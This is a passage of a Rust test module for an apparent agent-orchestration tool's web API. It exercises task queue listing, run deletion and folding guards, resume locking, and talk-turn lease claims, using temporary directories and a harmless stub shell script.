21377 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21378
21379 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21380 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21381 let talks = serde_json::to_value(
21382 talks_list(
21383 State(ui.clone()),
21384 query(Some("20260905-000000-d4e5")),
21385 header::HeaderMap::new(),
21386 )
21387 .await
21388 .unwrap()
21389 .0,
21390 )
21391 .unwrap();
21392 assert_eq!(talks.as_array().unwrap().len(), 1);
21393 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21394 assert_eq!(
21395 serde_json::to_value(
21396 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21397 .await
21398 .unwrap()
21399 .0
21400 )
21401 .unwrap(),
21402 serde_json::json!([])
21403 );
21404 }
21405
21406 #[tokio::test]
21407 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21408 async fn delta_payload_benchmark() {
21409 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21410 let ui = delta_test_ui(&home);
21411 let query = |ids: Option<String>| {
21412 Query(ListQuery {
21413 limit: Some(50),
21414 ids,
21415 })
21416 };
21417 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21418 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21419 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21420 .await
21421 .unwrap()
21422 .0;
21423 let queue_id = queue
21424 .iter()
21425 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21426 .unwrap_or(&queue[0])
21427 .task
21428 .id
21429 .clone();
21430 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21431 .await
21432 .unwrap()
21433 .0;
21434 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21435 .await
21436 .unwrap()
21437 .0;
21438 let talks_delta = talks_list(
21439 State(ui.clone()),
21440 query(Some(talks[0].id.clone())),
21441 header::HeaderMap::new(),
21442 )
21443 .await
21444 .unwrap()
21445 .0;
21446 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21447 eprintln!(
21448 "DELTA_PAYLOAD {}",
21449 serde_json::json!({
21450 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21451 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21452 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21453 "counts": [queue.len(), runs.len(), talks.len()],
21454 "blocked": queue_delta.len() - 1,
21455 })
21456 );
21457 }
21458
21459 #[test]
21460 fn runs_revision_moves_when_deleting_an_older_run() {
21461 let temp = TempDir::new().expect("tempdir");
21462 let runs = temp.path().join("runs");
21463 std::fs::create_dir_all(&runs).expect("create runs dir");
21464
21465 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21466
21467 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21468 std::thread::sleep(Duration::from_millis(10));
21469 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21470
21471 let rev_before = runs_revision(&runs);
21472 assert!(rev_before > 0);
21473
21474 let old_dir = runs.join("20260901-100000-old1");
21475 std::fs::remove_dir_all(&old_dir).expect("remove old run");
21476
21477 let rev_after = runs_revision(&runs);
21478 assert_ne!(
21479 rev_before, rev_after,
21480 "deleting an older run must change the revision so other clients see the deletion"
21481 );
21482 }
21483
21484 fn write_state(runs: &FsPath, state: &RunState) {
21489 let dir = runs.join(&state.id);
21490 std::fs::create_dir_all(&dir).expect("run dir");
21491 std::fs::write(
21492 dir.join("run.json"),
21493 serde_json::to_string_pretty(state).expect("serialize run"),
21494 )
21495 .expect("write run.json");
21496 }
21497
21498 #[test]
21503 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21504 let temp = TempDir::new().expect("tempdir");
21505 let runs = temp.path().join("runs");
21506 std::fs::create_dir_all(&runs).expect("create runs dir");
21507 let mut state = RunState::new(
21508 PathBuf::from("/repo/magi"),
21509 "main".to_owned(),
21510 "0123456789abcdef".to_owned(),
21511 "task".to_owned(),
21512 Config::default(),
21513 );
21514 state.id = "20260902-100000-c0de".to_owned();
21515 write_state(&runs, &state);
21516
21517 let rev_idle = runs_revision(&runs);
21518 std::thread::sleep(Duration::from_millis(10));
21519 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21520 write_state(&runs, &state);
21521 let rev_started = runs_revision(&runs);
21522 assert_ne!(
21523 rev_idle, rev_started,
21524 "a seat starting must move the revision"
21525 );
21526
21527 std::thread::sleep(Duration::from_millis(10));
21528 state.seat_finished("judge-1");
21529 write_state(&runs, &state);
21530 let rev_finished = runs_revision(&runs);
21531 assert_ne!(
21532 rev_started, rev_finished,
21533 "and clearing it again must move the revision a second time"
21534 );
21535 }
21536
21537 #[tokio::test]
21538 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21539 let fx = Fixture::start().await;
21544 let q = fx.queue();
21545
21546 let mut t = Task::new(
21547 "Task".to_owned(),
21548 "Instruction".to_owned(),
21549 PathBuf::from("/repo"),
21550 Source::Human,
21551 );
21552 t.block(
21553 vec!["20260101-000000-dead".to_owned()],
21554 Some("waiting on Task 1".to_owned()),
21555 );
21556 t.answers.push(crate::queue::AnsweredQuestion {
21557 question: "Which backend?".to_owned(),
21558 answer: "SQLite".to_owned(),
21559 });
21560 q.put(&mut t).expect("put t");
21561
21562 let res = fx.get("/api/queue").await;
21563 assert_eq!(res.status, 200);
21564 let list = res.json();
21565 let view = list
21566 .as_array()
21567 .expect("array")
21568 .iter()
21569 .find(|v| v["id"] == t.id)
21570 .expect("task in list");
21571 assert_eq!(view["status_str"], "blocked");
21572 assert_eq!(
21573 view["blocked_by"],
21574 serde_json::json!(["20260101-000000-dead"])
21575 );
21576 assert_eq!(view["block_reason"], "waiting on Task 1");
21577 assert_eq!(view["answers"][0]["question"], "Which backend?");
21578 assert_eq!(view["answers"][0]["answer"], "SQLite");
21579
21580 let res = fx
21584 .post(&format!("/api/queue/{}/hold", t.short()), None)
21585 .await;
21586 assert_eq!(res.status, 200);
21587 let held = res.json();
21588 assert_eq!(held["status_str"], "held");
21589 assert_eq!(held["blocked_by"], serde_json::json!([]));
21590 assert!(held["block_reason"].is_null());
21591 assert_eq!(held["answers"][0]["answer"], "SQLite");
21592 }
21593
21594 #[tokio::test]
21595 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21596 let fx = Fixture::start().await;
21597 let q = fx.queue();
21598 let mk = |title: &str| {
21599 Task::new(
21600 title.to_owned(),
21601 "Instruction".to_owned(),
21602 PathBuf::from("/repo"),
21603 Source::Human,
21604 )
21605 };
21606 let mut root = mk("root");
21607 root.hold_manual(Some("waiting".to_owned()));
21608 q.put(&mut root).unwrap();
21609 let mut mid = mk("mid");
21610 mid.block(vec![root.id.clone()], None);
21611 q.put(&mut mid).unwrap();
21612 let mut leaf = mk("leaf");
21613 leaf.block(vec![mid.id.clone()], None);
21614 q.put(&mut leaf).unwrap();
21615
21616 let list = fx.get("/api/queue").await.json();
21617 let find = |id: &str| {
21618 list.as_array()
21619 .unwrap()
21620 .iter()
21621 .find(|v| v["id"] == id)
21622 .unwrap()
21623 .clone()
21624 };
21625 let leaf_view = find(&leaf.id);
21626 assert_eq!(
21627 leaf_view["waits_on"],
21628 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21629 );
21630 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21631 assert_eq!(
21632 find(&mid.id)["waits_on"],
21633 serde_json::json!([format!("{} (held)", root.short())])
21634 );
21635 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21636 }
21637
21638 #[tokio::test]
21639 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21640 let fx = Fixture::start().await;
21641 let q = fx.queue();
21642
21643 let mut t1 = Task::new(
21645 "Task 1".to_owned(),
21646 "Instruction 1".to_owned(),
21647 PathBuf::from("/repo"),
21648 Source::Human,
21649 );
21650 let run_id = "20260901-000000-r111";
21651 t1.runs.push(run_id.to_owned());
21652 write_run(&fx.runs(), run_id, RunStatus::Merged);
21653 q.put(&mut t1).expect("put t1");
21654
21655 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21657 assert_eq!(res.status, 204);
21658 assert!(res.body.is_empty(), "204 No Content has no body");
21659 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21660 assert!(
21661 fx.runs().join(run_id).exists(),
21662 "run directory must not be deleted when its task is deleted"
21663 );
21664
21665 let mut t2 = Task::new(
21667 "Task 2".to_owned(),
21668 "Instruction 2".to_owned(),
21669 PathBuf::from("/repo"),
21670 Source::Human,
21671 );
21672 t2.status = TaskStatus::Running;
21673 q.put(&mut t2).expect("put t2");
21674 let mut beat = crate::daemon::Status::new();
21675 beat.current = vec![crate::daemon::Current {
21676 worker: None,
21677 task: t2.id.clone(),
21678 run: "20260901-000000-r222".to_owned(),
21679 }];
21680 beat.updated_at = jiff::Timestamp::now();
21681 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21682 .expect("publish a heartbeat");
21683 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21684 assert_eq!(res.status, 409);
21685 assert!(
21686 res.json()["error"]
21687 .as_str()
21688 .unwrap()
21689 .contains("live daemon")
21690 );
21691 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21692
21693 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21699 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21700 .expect("leave a stale heartbeat");
21701 let mut t3 = Task::new(
21702 "Task 3".to_owned(),
21703 "Instruction 3".to_owned(),
21704 PathBuf::from("/repo"),
21705 Source::Human,
21706 );
21707 t3.status = TaskStatus::Running;
21708 q.put(&mut t3).expect("put t3");
21709 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21710 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21711 assert_eq!(res.status, 204);
21712 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21713 assert!(
21714 q.claim(&t3.id).is_ok(),
21715 "the stale lock went with it, so the id is claimable again"
21716 );
21717
21718 let res = fx.delete("/api/queue/nonexistent").await;
21720 assert_eq!(res.status, 404);
21721 }
21722
21723 #[tokio::test]
21724 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21725 let fx = Fixture::start().await;
21726 let runs = fx.runs();
21727
21728 let run_id = "20260901-000000-fold";
21730 let mut state = RunState::new(
21731 PathBuf::from("/repo"),
21732 "main".to_owned(),
21733 "abc".to_owned(),
21734 "instruction".to_owned(),
21735 Config::default(),
21736 );
21737 state.id = run_id.to_owned();
21738 state.status = RunStatus::Merged;
21739 state.candidates.push(crate::run::Candidate {
21740 index: 0,
21741 label: 'A',
21742 agent: "a".to_owned(),
21743 branch: "b".to_owned(),
21744 worktree: PathBuf::from("/w"),
21745 summary: String::new(),
21746 stat: String::new(),
21747 files: 1,
21748 commits: 1,
21749 empty: false,
21750 failed: None,
21751 verified_noop: None,
21752 duration_ms: 0,
21753 folded: true,
21754 });
21755 let dir = runs.join(run_id);
21756 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21757 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21758 .expect("write artifact");
21759 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21760 .expect("write run.json");
21761
21762 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21764 assert_eq!(res.status, 204);
21765 assert!(res.body.is_empty(), "204 has no body");
21766 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21767
21768 let run_running = "20260901-000000-rung";
21773 write_run(&runs, run_running, RunStatus::Prep);
21774 let mut beat = crate::daemon::Status::new();
21775 beat.current = vec![crate::daemon::Current {
21776 worker: None,
21777 task: "20260901-000000-task".to_owned(),
21778 run: run_running.to_owned(),
21779 }];
21780 beat.updated_at = jiff::Timestamp::now();
21781 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21782 .expect("publish a heartbeat");
21783 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21784 assert_eq!(res.status, 409);
21785 assert!(
21786 res.json()["error"]
21787 .as_str()
21788 .unwrap()
21789 .contains("live daemon"),
21790 "the refusal must say who is holding it"
21791 );
21792 assert!(
21793 runs.join(run_running).exists(),
21794 "a run in flight keeps its directory"
21795 );
21796
21797 let run_unfolded = "20260901-000000-unfd";
21799 let mut state2 = RunState::new(
21800 PathBuf::from("/repo"),
21801 "main".to_owned(),
21802 "abc".to_owned(),
21803 "instruction".to_owned(),
21804 Config::default(),
21805 );
21806 state2.id = run_unfolded.to_owned();
21807 state2.status = RunStatus::Ready;
21808 state2.candidates.push(crate::run::Candidate {
21809 index: 0,
21810 label: 'A',
21811 agent: "a".to_owned(),
21812 branch: "b".to_owned(),
21813 worktree: PathBuf::from("/w"),
21814 summary: String::new(),
21815 stat: String::new(),
21816 files: 1,
21817 commits: 1,
21818 empty: false,
21819 failed: None,
21820 verified_noop: None,
21821 duration_ms: 0,
21822 folded: false,
21823 });
21824 let dir2 = runs.join(run_unfolded);
21825 std::fs::create_dir_all(&dir2).expect("create dir2");
21826 std::fs::write(
21827 dir2.join("run.json"),
21828 serde_json::to_string(&state2).unwrap(),
21829 )
21830 .expect("write run.json");
21831
21832 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21833 assert_eq!(res.status, 409);
21834 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21835 assert!(dir2.exists(), "unfolded run directory is kept");
21836
21837 let res = fx.delete("/api/runs/nonexistent").await;
21839 assert_eq!(res.status, 404);
21840 }
21841
21842 #[test]
21851 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21852 let start = APP_JS
21853 .find("function renderStats() {")
21854 .expect("renderStats");
21855 let end = start
21856 + APP_JS[start..]
21857 .find("function statsTile(")
21858 .expect("the next top-level function");
21859 let body = &APP_JS[start..end];
21860
21861 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21862 let gate_end = gate_start
21863 + body[gate_start..]
21864 .find("}\n renderStatsQueue")
21865 .expect("the gate's own closing brace, right before the unconditional call");
21866 let gated = &body[gate_start..gate_end];
21867
21868 assert_eq!(
21869 body.matches("renderStatsQueue(").count(),
21870 1,
21871 "renderStats must call renderStatsQueue exactly once: {body}"
21872 );
21873 assert!(
21874 !gated.contains("renderStatsQueue"),
21875 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21876 run-derived panels on an empty run history - the queue panel has to render \
21877 regardless: {gated}"
21878 );
21879 }
21880
21881 #[test]
21882 fn web_ui_delete_contract_in_front_end() {
21883 assert!(APP_JS.contains("deleteRun:"));
21885 assert!(APP_JS.contains("deleteTask:"));
21886
21887 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21889 ..APP_JS.find("function renderRuns").unwrap()];
21890 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21891
21892 assert!(APP_JS.contains("renderRunDelete"));
21894 assert!(APP_JS.contains("runDeleteReason"));
21895 assert!(APP_JS.contains("magi fold"));
21896 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21897
21898 assert!(APP_JS.contains("cancel.focus"));
21900 assert!(APP_JS.contains("armedRunDelete"));
21901 assert!(APP_JS.contains("renderTaskDeleteBox"));
21902 assert!(APP_JS.contains("armed${cap(key)}"));
21903
21904 assert!(APP_JS.contains("disabled: status === \"running\""));
21906 }
21907
21908 #[test]
21928 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21929 let build = APP_JS
21930 .find("function createRunCard")
21931 .expect("createRunCard exists");
21932 let update = APP_JS
21933 .find("function updateRunCard")
21934 .expect("updateRunCard exists");
21935 let end = APP_JS
21936 .find("function renderRuns")
21937 .expect("renderRuns exists");
21938
21939 let builder = &APP_JS[build..update];
21941 let open = builder.find("refs = {").expect("createRunCard sets refs");
21942 let literal = &builder[open + "refs = {".len()..];
21943 let close = literal.find('}').expect("the refs literal is closed");
21944 let published: HashSet<&str> = literal[..close]
21945 .split(',')
21946 .filter_map(|entry| entry.split(':').next())
21948 .map(str::trim)
21949 .filter(|name| !name.is_empty())
21950 .collect();
21951 assert!(
21952 published.len() > 5,
21953 "the refs literal did not parse into names: {published:?}"
21954 );
21955
21956 let mut used: Vec<&str> = Vec::new();
21959 let updaters = &APP_JS[update..end];
21960 for (at, _) in updaters.match_indices("r.") {
21961 let before = updaters[..at].chars().next_back();
21964 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21965 continue;
21966 }
21967 let rest = &updaters[at + 2..];
21968 let len = rest
21969 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21970 .unwrap_or(rest.len());
21971 if len > 0 {
21972 used.push(&rest[..len]);
21973 }
21974 }
21975 assert!(
21976 used.len() > 5,
21977 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21978 );
21979
21980 let missing: Vec<&str> = used
21981 .iter()
21982 .copied()
21983 .filter(|name| !published.contains(name))
21984 .collect();
21985 assert!(
21986 missing.is_empty(),
21987 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21988 never put in `refs` - every card will throw and the list will \
21989 render empty under a count line that says otherwise. Published: \
21990 {published:?}"
21991 );
21992 }
21993
21994 #[tokio::test]
21995 async fn folding_from_the_phone_reports_what_it_removed() {
21996 let fx = Fixture::start().await;
21997 let runs = fx.runs();
21998
21999 let id = "20260901-000000-fold";
22003 write_run(&runs, id, RunStatus::Stalled);
22004 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22005 assert_eq!(res.status, 200);
22006 assert_eq!(res.json()["removed_count"], 0);
22007 assert_eq!(res.json()["run"], id);
22008 assert!(
22009 runs.join(id).exists(),
22010 "a fold keeps the run's record; only the worktrees go"
22011 );
22012 }
22013
22014 #[tokio::test]
22015 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22016 let fx = Fixture::start().await;
22017 let runs = fx.runs();
22018 let wt = fx.home.path().join("wt").join("magi").join("dead");
22019 let id = "20260901-000000-dead";
22020 std::fs::create_dir_all(runs.join(id)).expect("run dir");
22021 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22022 std::fs::create_dir_all(&wt).expect("worktree dir");
22023
22024 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22025 assert_eq!(res.status, 200, "{}", res.body);
22026 assert!(
22027 res.json()["removed_count"].as_u64().unwrap() > 0,
22028 "the worktree this build could not read a state for still went"
22029 );
22030 assert!(
22031 !runs.join(id).exists(),
22032 "an unreadable run has no candidate list to fold selectively, so \
22033 the whole record goes - same as `magi fold` on the CLI"
22034 );
22035 }
22036
22037 #[tokio::test]
22038 async fn deleting_an_unreadable_run_removes_it_wholesale() {
22039 let fx = Fixture::start().await;
22040 let runs = fx.runs();
22041 let wt = fx.home.path().join("wt").join("magi").join("gone");
22042 let id = "20260901-000000-gone";
22043 std::fs::create_dir_all(runs.join(id)).expect("run dir");
22044 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22045 std::fs::create_dir_all(&wt).expect("worktree dir");
22046
22047 let res = fx.delete(&format!("/api/runs/{id}")).await;
22048 assert_eq!(res.status, 204, "{}", res.body);
22049 assert!(!runs.join(id).exists(), "the broken record is gone");
22050 assert!(!wt.exists(), "its worktree is gone too");
22051 }
22052
22053 #[tokio::test]
22054 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22055 let fx = Fixture::start().await;
22056 let runs = fx.runs();
22057 let id = "20260901-000000-live";
22058 write_run(&runs, id, RunStatus::Implementing);
22059
22060 let mut beat = crate::daemon::Status::new();
22061 beat.current = vec![crate::daemon::Current {
22062 worker: None,
22063 task: "20260901-000000-task".to_owned(),
22064 run: id.to_owned(),
22065 }];
22066 beat.updated_at = jiff::Timestamp::now();
22067 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22068 .expect("publish a heartbeat");
22069
22070 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22071 assert_eq!(res.status, 409);
22072 assert!(
22073 res.json()["error"]
22074 .as_str()
22075 .unwrap()
22076 .contains("live daemon"),
22077 "folding under a running agent would pull its worktree away"
22078 );
22079 }
22080
22081 #[tokio::test]
22082 async fn fold_merged_requires_a_pr_url() {
22083 let fx = Fixture::start().await;
22084 let runs = fx.runs();
22085 let id = "20260901-000000-nourl";
22086 write_run(&runs, id, RunStatus::Blocked);
22087
22088 let res = fx
22089 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22090 .await;
22091 assert_eq!(res.status, 400, "{}", res.body);
22092
22093 let blank = fx
22094 .post(
22095 &format!("/api/runs/{id}/fold-merged"),
22096 Some(r#"{"pr_url":" "}"#),
22097 )
22098 .await;
22099 assert_eq!(blank.status, 400, "{}", blank.body);
22100 }
22101
22102 #[tokio::test]
22103 async fn fold_merged_is_404_for_an_unknown_run() {
22104 let fx = Fixture::start().await;
22105 let res = fx
22106 .post(
22107 "/api/runs/nosuchrun/fold-merged",
22108 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22109 )
22110 .await;
22111 assert_eq!(res.status, 404, "{}", res.body);
22112 }
22113
22114 #[tokio::test]
22115 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22116 let fx = Fixture::start().await;
22117 let runs = fx.runs();
22118 let id = "20260901-000000-livemerge";
22119 write_run(&runs, id, RunStatus::Blocked);
22120
22121 let mut beat = crate::daemon::Status::new();
22122 beat.current = vec![crate::daemon::Current {
22123 worker: None,
22124 task: "20260901-000000-task".to_owned(),
22125 run: id.to_owned(),
22126 }];
22127 beat.updated_at = jiff::Timestamp::now();
22128 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22129 .expect("publish a heartbeat");
22130
22131 let res = fx
22132 .post(
22133 &format!("/api/runs/{id}/fold-merged"),
22134 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22135 )
22136 .await;
22137 assert_eq!(res.status, 409, "{}", res.body);
22138 assert!(
22139 res.json()["error"]
22140 .as_str()
22141 .unwrap()
22142 .contains("live daemon"),
22143 "correcting a run's merge underneath a running agent would race \
22144 whatever it is doing to the same `status`/`merge` fields"
22145 );
22146 }
22147
22148 #[tokio::test]
22153 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22154 let fx = Fixture::start().await;
22155 let runs = fx.runs();
22156 let id = "20260901-000000-unconfirmed";
22157 write_run(&runs, id, RunStatus::Blocked);
22158
22159 let res = fx
22160 .post(
22161 &format!("/api/runs/{id}/fold-merged"),
22162 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22163 )
22164 .await;
22165 assert_eq!(res.status, 400, "{}", res.body);
22166 assert_eq!(
22167 read_run(&runs, id).unwrap().status,
22168 RunStatus::Blocked,
22169 "a pull request that could not be confirmed merged must leave \
22170 the run exactly where it was"
22171 );
22172 }
22173
22174 #[tokio::test]
22175 async fn terminal_runs_cannot_be_resumed() {
22176 let fx = Fixture::start().await;
22177 let runs = fx.runs();
22178
22179 for (status, word) in [
22180 (RunStatus::Merged, "merged"),
22181 (RunStatus::Ready, "ready"),
22182 (RunStatus::Failed, "failed"),
22183 ] {
22184 let id = format!("20260901-000000-{}", &word[..4]);
22185 write_run(&runs, &id, status);
22186 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22187 assert_eq!(res.status, 409, "{word} must not be resumable");
22188 }
22189 }
22190
22191 #[tokio::test]
22192 async fn resume_is_refused_while_the_loop_is_running() {
22193 let fx = Fixture::start().await;
22194 let runs = fx.runs();
22195 let stalled = "20260901-000000-stal";
22196 write_run(&runs, stalled, RunStatus::Stalled);
22197
22198 let mut beat = crate::daemon::Status::new();
22202 beat.current = vec![crate::daemon::Current {
22203 worker: None,
22204 task: "20260901-000000-task".to_owned(),
22205 run: "20260901-000000-othr".to_owned(),
22206 }];
22207 beat.updated_at = jiff::Timestamp::now();
22208 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22209 .expect("publish a heartbeat");
22210
22211 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22212 assert_eq!(res.status, 409);
22213 let err = res.json()["error"].as_str().unwrap().to_owned();
22214 assert!(err.contains("othr"), "it names what the loop is on: {err}");
22215 assert!(err.contains("stop it first"), "{err}");
22216 }
22217
22218 #[test]
22219 fn a_run_cannot_be_resumed_twice_at_once() {
22220 let home = TempDir::new().expect("temp home");
22221 let ui = Ui::new(
22222 Queue::at(home.path().join("queue")),
22223 Questions::at(home.path().join("questions")),
22224 Talks::at(home.path().join("talks")),
22225 home.path().join("runs"),
22226 home.path().to_path_buf(),
22227 PathBuf::from("/repo"),
22228 )
22229 .with_worktrees_root(home.path().join("wt"));
22230 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22231 let again = ui.begin_resume("20260901-000000-once");
22232 assert!(again.is_err(), "a second tap must not start a second graph");
22233 drop(first);
22234 assert!(
22235 ui.begin_resume("20260901-000000-once").is_ok(),
22236 "and the claim is released when the attempt ends"
22237 );
22238 }
22239
22240 #[test]
22241 fn talk_thinking_tracks_only_its_held_turn_claim() {
22242 let home = TempDir::new().expect("temp home");
22243 let ui = Ui::new(
22244 Queue::at(home.path().join("queue")),
22245 Questions::at(home.path().join("questions")),
22246 Talks::at(home.path().join("talks")),
22247 home.path().join("runs"),
22248 home.path().to_path_buf(),
22249 PathBuf::from("/repo"),
22250 )
22251 .with_worktrees_root(home.path().join("wt"));
22252 let id = "20260901-000000-once";
22253
22254 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22255 let turn = ui.begin_talk_turn(id).expect("claim turn");
22256 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22257 assert!(
22258 !ui.is_thinking("20260901-000000-other"),
22259 "one talk's turn does not make another talk busy"
22260 );
22261 drop(turn);
22262 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22263 }
22264
22265 #[test]
22266 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22267 let home = TempDir::new().expect("temp home");
22268 let talks = Talks::at(home.path().join("talks"));
22269 let ui = Ui::new(
22270 Queue::at(home.path().join("queue")),
22271 Questions::at(home.path().join("questions")),
22272 talks.clone(),
22273 home.path().join("runs"),
22274 home.path().to_path_buf(),
22275 PathBuf::from("/repo"),
22276 )
22277 .with_worktrees_root(home.path().join("wt"));
22278 let id = "20260901-000000-cross";
22279
22280 let other = Talks::at(home.path().join("talks"))
22281 .claim_turn(id)
22282 .expect("claim")
22283 .expect("the other process wins");
22284 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22285 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22286 assert!(
22287 matches!(
22288 ui.begin_talk_turn_unless_pending(id).expect("start"),
22289 TalkTurnStart::Foreign
22290 ),
22291 "a foreign holder is refused, not queued behind"
22292 );
22293 assert!(
22294 !ui.talk_turns.lock().unwrap().live.contains(id),
22295 "a refused claim leaves no in-process entry behind"
22296 );
22297 drop(other);
22298 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22299 assert!(talks.turn_held(id), "the web turn holds the lease");
22300 drop(turn);
22301 assert!(
22302 !talks.turn_held(id),
22303 "dropping the guard releases the lease"
22304 );
22305 }
22306
22307 fn consult_question(ui: &Ui) -> Question {
22308 let mut q = Question::new(
22309 "20260901-000000-consult".to_owned(),
22310 "implement".to_owned(),
22311 "impl-A".to_owned(),
22312 "Which backend?".to_owned(),
22313 String::new(),
22314 vec!["SQLite".to_owned(), "Redis".to_owned()],
22315 );
22316 ui.questions.put(&mut q).expect("question");
22317 q
22318 }
22319
22320 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22321 (
22322 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22323 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22324 )
22325 }
22326
22327 #[tokio::test]
22328 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22329 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22330 let q = consult_question(&ui);
22331 let talk = ui.talks.get(&id).expect("talk");
22332 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22333 let before = consult_snapshot(&ui, &q, &id);
22334 let cli_talks = Talks::at(ui.home.join("talks"));
22335 assert_eq!(
22336 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22337 .await
22338 .expect("CLI starter"),
22339 crate::consult::Started::Busy
22340 );
22341 assert_eq!(consult_snapshot(&ui, &q, &id), before);
22342 assert!(ui.is_thinking(&id));
22343 drop(guard);
22344 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22345 }
22346
22347 #[tokio::test]
22348 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22349 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22350 let q = consult_question(&ui);
22351 let talk = ui.talks.get(&id).expect("talk");
22352 let started = tmp.path().join("started");
22353 let release = tmp.path().join("release");
22354 let script = tmp.path().join("consult-agent.sh");
22355 std::fs::write(
22356 &script,
22357 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
22358 )
22359 .expect("script");
